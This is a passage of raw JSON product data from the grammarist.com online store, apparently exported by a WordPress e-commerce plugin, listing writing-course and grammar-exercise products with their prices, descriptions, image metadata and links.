:null,"product":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438951,"updated_at":1734438951,"display_amount":"$90","converted_amount":90,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"initial_variant":null,"initial_amount":9000,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":84073,"post_author":"305970","post_date":"2023-10-12 12:11:17","post_date_gmt":"2023-10-12 18:11:17","post_content":"","post_title":"Grammarist-Mockups-Tripwire-page---darker-1-","post_excerpt":"","post_status":"inherit","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"grammarist-mockups-tripwire-page-darker-1-1-2-png","to_ping":"","pinged":"","post_modified":"2023-10-12 12:11:18","post_modified_gmt":"2023-10-12 18:11:18","post_content_filtered":"","post_parent":14746,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":84073,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png"}],"display_amount":"$90","range_display_amount":"$90","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"Grammarist-Mockups-Tripwire-page---darker-1-","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-768x419.png","class":"attachment-medium_large size-medium_large","alt":"Grammarist-Mockups-Tripwire-page---darker-1-","width":768,"height":419,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-768x419.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-300x164.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-1024x559.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2-600x327.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png 1100w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 6:31 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 6:31 am","updated_at_date":"May 10, 2026","updated_at_date_time":"May 10, 2026 12:36 am","gallery_ids":[84073]},{"id":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":-1,"average_stars":"0.0","bundle":false,"description":"\u003Cp\u003EWhether you\u2019re writing a novel, an article, or a blog post, proofreading is an essential step before you hit the Submit button. Add our Proofreading Pro: Exercise Pack to your cart so you can avoid any embarrassing errors in your writing. Here\u0027s a glimpse of what you\u0027ll get:\u003C\/p\u003E\u003Cp\u003E\u2705 779 Comprehensive Proofreading Questions covering grammar, punctuation, and more\u003Cbr\u003E\u2705 Practical exercises that build and refine your proofreading skills\u003Cbr\u003E\u2705 24\/7 access, allowing you to practice anytime, anywhere.\u003C\/p\u003E","featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":14700,"min_price_amount":14700,"prices_count":1},"name":"Grammarist Proofreading Pro: Exercise Pack","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"exercise-pack","solicit_reviews":true,"stock_enabled":false,"prices":{"object":"list","pagination":{"count":1,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"data":[{"id":"4e02b03f-0309-4526-843a-b1681a815e37","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":14700,"archived":false,"currency":"usd","current_version":true,"full_amount":14700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438015,"updated_at":1734438015,"display_amount":"$147","converted_amount":147,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"}]},"product_group":null,"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=0cba15
1248d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"data":[]},"image_url":null,"created_at":1734437920,"updated_at":1778394969,"post":{"ID":108538,"post_author":"307024","post_date":"2024-12-17 06:18:40","post_date_gmt":"2024-12-17 12:18:40","post_content":"","post_title":"Grammarist Proofreading Pro: Exercise Pack","post_excerpt":"\u003Cp\u003EWhether you\u2019re writing a novel, an article, or a blog post, proofreading is an essential step before you hit the Submit button. Add our Proofreading Pro: Exercise Pack to your cart so you can avoid any embarrassing errors in your writing. Here\u0027s a glimpse of what you\u0027ll get:\u003C\/p\u003E\u003Cp\u003E\u2705 779 Comprehensive Proofreading Questions covering grammar, punctuation, and more\u003Cbr\u003E\u2705 Practical exercises that build and refine your proofreading skills\u003Cbr\u003E\u2705 24\/7 access, allowing you to practice anytime, anywhere.\u003C\/p\u003E","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"exercise-pack","to_ping":"","pinged":"","post_modified":"2026-05-10 00:36:55","post_modified_gmt":"2026-05-10 06:36:55","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u0026#038;p=108538","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":false,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/exercise-pack","permalink":"https:\/\/grammarist.com\/products\/exercise-pack\/","is_published":true,"page_title":"Grammarist Proofreading Pro: Exercise Pack","meta_description":"\u003Cp\u003EWhether you\u2019re writing a novel, an article, or a blog post, proofreading is an essential step before you hit the Submit button. Add our Proofreading Pro: Exercise Pack to your cart so you can avoid any embarrassing errors in your writing. Here\u0027s a glimpse of what you\u0027ll get:\u003C\/p\u003E\u003Cp\u003E\u2705 779 Comprehensive Proofreading Questions covering grammar, punctuation, and more\u003Cbr\u003E\u2705 Practical exercises that build and refine your proofreading skills\u003Cbr\u003E\u2705 24\/7 access, allowing you to practice anytime, anywhere.\u003C\/p\u003E","in_stock":true,"active_prices":[{"id":"4e02b03f-0309-4526-843a-b1681a815e37","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":14700,"archived":false,"currency":"usd","current_version":true,"full_amount":14700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438015,"updated_at":1734438015,"display_amount":"$147","converted_amount":147,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"}],"has_variants":false,"has_multiple_prices":false,"active_ad_hoc_prices":[],"has_options":false,"featured_image":{"ID":87860,"post_author":"307024","post_date":"2023-12-05 10:15:21","post_date_gmt":"2023-12-05 16:15:21","post_content":"","post_title":"Proofreading Pro Exercise Pack Featured Image","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"proofreading-pro-exercise-pack-featured-image","to_ping":"","pinged":"","post_modified":"2023-12-05 10:15:21","post_modified_gmt":"2023-12-05 16:15:21","post_content_filtered":"","post_parent":70874,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":87860,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"4e02b03f-0309-4526-843a-b1681a815e37","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":14700,"archived":false,"currency":"usd","current_version":true,"full_amount":14700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438015,"updated_at":1734438015,"display_amount":"$147","converted_amount":147,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"0cba15d6-fbe2-4abe-bd0d-9d84aaf3cbde"},"initial_variant":null,"initial_amount":14700,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":87860,"post_author":"307024","post_date":"2023-12-05 10:15:21","post_date_gmt":"2023-12-05 16:15:21","post_content":"","post_title":"Proofreading Pro Exercise Pack Featured Image","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"proofreading-pro-exercise-pack-featured-image","to_ping":"","pinged":"","post_modified":"2023-12-05 10:15:21","post_modified_gmt":"2023-12-05 16:15:21","post_content_filtered":"","post_parent":70874,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":87860,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image.png"}],"display_amount":"$147","range_display_amount":"$147","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Proofreading-Pro-Exercise-Pack-Featured-Image.png 1920w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 6:18 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 6:18 am","updated_at_date":"May 10, 2026","updated_at_date_time":"May 10, 2026 12:36 am","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[87860]},{"id":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":-1,"average_stars":"0.0","bundle":false,"description":"\u003Cp\u003EGet Lifetime Access to the Grammarguard Checklist for $97\u003C\/p\u003E","featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":1,"metrics":{"currency":"usd","max_price_amount":9700,"min_price_amount":9700,"prices_count":1},"name":"Grammarist GrammarGuard Checklist","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"grammarguard-checklist","solicit_reviews":true,"stock_enabled":false,"prices":{"object":"list","pagination":{"count":1,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"data":[{"id":"240195d7-2b23-49ab-a3ba-1a77d72805d6","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9700,"archived":false,"currency":"usd","current_version":true,"full_amount":9700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006","renewal_price":null,"recurring_end_behavior":"complete","created_at":1735330016,"updated_at":1735330016,"display_amount":"$97","converted_amount":97,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006"}]},"product_group":null,"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"data":[]},"image_url":null,"created_at":1734436874,"updated_at":1778394969,"post":{"ID":108537,"post_author":"307024","post_date":"2024-12-17 06:01:13","post_date_gmt":"2024-12-17 12:01:13","post_content":"","post_title":"Grammarist GrammarGuard Checklist","post_excerpt":"\u003Cp\u003EGet Lifetime Access to the Grammarguard Checklist for $97\u003C\/p\u003E","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"grammarguard-checklist","to_ping":"","pinged":"","post_modified":"2026-05-10 00:36:55","post_modified_gmt":"2026-05-10 06:36:55","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u
12480026#038;p=108537","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":false,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/grammarguard-checklist","permalink":"https:\/\/grammarist.com\/products\/grammarguard-checklist\/","is_published":true,"page_title":"Grammarist GrammarGuard Checklist","meta_description":"\u003Cp\u003EGet Lifetime Access to the Grammarguard Checklist for $97\u003C\/p\u003E","in_stock":true,"active_prices":[{"id":"240195d7-2b23-49ab-a3ba-1a77d72805d6","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9700,"archived":false,"currency":"usd","current_version":true,"full_amount":9700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006","renewal_price":null,"recurring_end_behavior":"complete","created_at":1735330016,"updated_at":1735330016,"display_amount":"$97","converted_amount":97,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006"}],"has_variants":false,"has_multiple_prices":false,"active_ad_hoc_prices":[],"has_options":false,"featured_image":{"ID":88011,"post_author":"307033","post_date":"2023-12-08 08:08:50","post_date_gmt":"2023-12-08 14:08:50","post_content":"","post_title":"Grammarist Grammar Guru Guide (1)","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"grammarist-grammar-guru-guide-1","to_ping":"","pinged":"","post_modified":"2023-12-08 08:08:50","post_modified_gmt":"2023-12-08 14:08:50","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":88011,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"240195d7-2b23-49ab-a3ba-1a77d72805d6","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9700,"archived":false,"currency":"usd","current_version":true,"full_amount":9700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006","renewal_price":null,"recurring_end_behavior":"complete","created_at":1735330016,"updated_at":1735330016,"display_amount":"$97","converted_amount":97,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"a5ce16bd-b921-4ca6-b2b4-09dec1f80006"},"initial_variant":null,"initial_amount":9700,"scratch_amount":null,"scratch_display_amount":"","template":null,"template_part_id":"surecart\/surecart\/\/product-info","gallery":[{"ID":88011,"post_author":"307033","post_date":"2023-12-08 08:08:50","post_date_gmt":"2023-12-08 14:08:50","post_content":"","post_title":"Grammarist Grammar Guru Guide (1)","post_excerpt":"","post_status":"inherit","comment_status":"","ping_status":"closed","post_password":"","post_name":"grammarist-grammar-guru-guide-1","to_ping":"","pinged":"","post_modified":"2023-12-08 08:08:50","post_modified_gmt":"2023-12-08 14:08:50","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":88011,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1.png"}],"display_amount":"$97","range_display_amount":"$97","is_on_sale":false,"line_item_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-150x150.png","class":"attachment-thumbnail size-thumbnail","alt":"","width":150,"height":150,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-150x150.png 150w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-300x300.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-100x100.png 100w","sizes":"(max-width: 150px) 100v
1248w, 150px"},"preview_image":{"src":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-768x432.png","class":"attachment-medium_large size-medium_large","alt":"","width":768,"height":432,"srcset":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-768x432.png 768w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-300x169.png 300w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-1024x576.png 1024w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-1536x864.png 1536w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1-600x338.png 600w, https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Grammar-Guru-Guide-1.png 1680w","sizes":"(max-width: 768px) 100vw, 768px"},"cataloged_at_date_time":"December 17, 2024 6:01 am","has_videos":false,"total_reviews":0,"reviews_breakdown_array":[0,0,0,0,0],"review_url":"","created_by":false,"cached":null,"created_at_date":"December 17, 2024","created_at_date_time":"December 17, 2024 6:01 am","updated_at_date":"May 10, 2026","updated_at_date_time":"May 10, 2026 12:36 am","has_variable_components":false,"bundle_variable_component_ids":[],"gallery_ids":[88011]},{"id":"4614e2c8-27a1-4778-907a-65f093116ba6","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":-1,"average_stars":"0.0","bundle":false,"description":"\u003Cul\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EAuthorial Insights and Practical Advice\u003C\/strong\u003E: Receive guidance and professional tips from Candace Osmond, a USA TODAY Bestselling Author, who shares her journey from an aspiring writer to a published author, helping you navigate the challenges of the writing world.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EFundamentals of Writing Mechanics\u003C\/strong\u003E: Learn the essential technical aspects of writing, including grammar, structure, and style, to produce clear, effective, and engaging content across various genres.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003ECharacter and Plot Development Mastery\u003C\/strong\u003E: Uncover techniques for creating complex characters and compelling plots, vital for crafting engaging narratives that captivate readers.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EDiverse Writing Styles and Formats\u003C\/strong\u003E: Gain proficiency in different writing styles, from narrative and expository to business-oriented content, enhancing your ability to connect with various audiences.\u003C\/p\u003E\u003C\/li\u003E\u003Cli\u003E\u003Cp\u003E\u003Cstrong\u003EEditing, Publishing, and Marketing Skills\u003C\/strong\u003E: Understand the complete writing process, from post-draft editing to publishing and marketing, equipping you with the tools to not only write but also successfully publish and promote your work.\u003C\/p\u003E\u003C\/li\u003E\u003C\/ul\u003E","featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":29700,"min_price_amount":29700,"prices_count":1},"name":"Grammarist Master The Pen","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"master-the-pen","solicit_reviews":true,"stock_enabled":false,"prices":{"object":"list","pagination":{"count":1,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=4614e2c8-27a1-4778-907a-65f093116ba6"},"data":[{"id":"bd790649-74b3-4826-a67c-ec0498ba6c3c","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":29700,"archived":false,"currency":"usd","current_version":true,"full_amount":29700,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"4614e2c8-27a1-4778-907a-65f093116ba6","renew
1248al_price":null,"recurring_end_behavior":"complete","created_at":1734436496,"updated_at":1734436496,"display_amount":"$297","converted_amount":297,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"4614e2c8-27a1-4778-907a-65f093116ba6"}]},"product_group":null,"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=4614e2c8-27a1-4778-907a-65f093116ba6"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=4614e2c8-27a1-4778-907a-65f093116ba6"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=4614e2c8-27a1-4778-907a-65f093116ba6"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=4614e2c8-27a1-4778